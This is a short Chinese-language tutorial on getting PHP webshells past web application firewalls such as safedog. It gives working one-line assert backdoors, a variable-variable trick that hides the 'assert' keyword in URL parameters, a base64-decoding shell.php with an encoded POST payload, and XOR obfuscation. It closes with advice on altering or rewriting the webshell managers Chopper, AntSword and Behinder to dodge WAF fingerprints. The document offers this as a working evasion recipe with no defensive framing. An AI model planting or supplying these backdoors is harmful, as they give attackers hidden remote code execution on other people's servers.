目录
一、变量覆盖
1.1、原理:
把敏感字符传递的参数中,waf能够确定你的代码,但是确定不了你传递的参数值
safedog有变量追踪
简单拆分的话,扫描会直接报马的
1.2、原型:
<?php assert($_POST['z'])?>
1.3、变量覆盖:
<?php $a = $_GET['x']; $$a = $_GET['y']; $b($_POST['z']); //?x=b&y=assert //$a = b //$$a ->$b 变量引用 //$b= assert //$b($_POST['z']);--->assert($_POST['z']) ?>
1.4、URL传参
URL/1.php?x=b&y=assert
-----------------
(post提交)
z=phpinfo();
二、加密混淆
2.1、原理:
基于关键字的匹配过滤规则
上传一个附带对应的解密方法,然后上传经过对应加密的执行语句
2.2、shell文件
shell.php
<?php $a = $_GET['x']; $$a = $_GET['y']; $b(base64_decode($_POST['z'])); ?>
2.3、加密
对要执行的语句加密
2.4、URL传参
URL/1.php?x=b&y=assert
(post提交)
z=cGhwaW5mbygpOw==
2.5、加密混淆工具
三、异或生成
3.1、原理:
定义:两个值相同时,返回false,否则返回true
XOR有一个特点:如果对一个值连续做两次 XOR,会返回这个值本身。
最适合用于简易加解密运算
原理是:数A和数B进行异或运算生成数C,如果将C和B进行异或运算则C又会还原为A
3.2、网址:
异或运算加密/解密 - 一个工具箱 - 好用的在线工具都在这里! (atoolbox.net)
http://www.atoolbox.net/Tool.php?Id=857
四、造轮子
4.1、原因:
菜刀、蚁剑、冰蝎的指纹在WAF都有,使用会被识别拦截
4.2、方法一:
修改工具的特征信息
4.3、方法二:
自己写数据包,就不会有指纹特征,就能实现相应的功能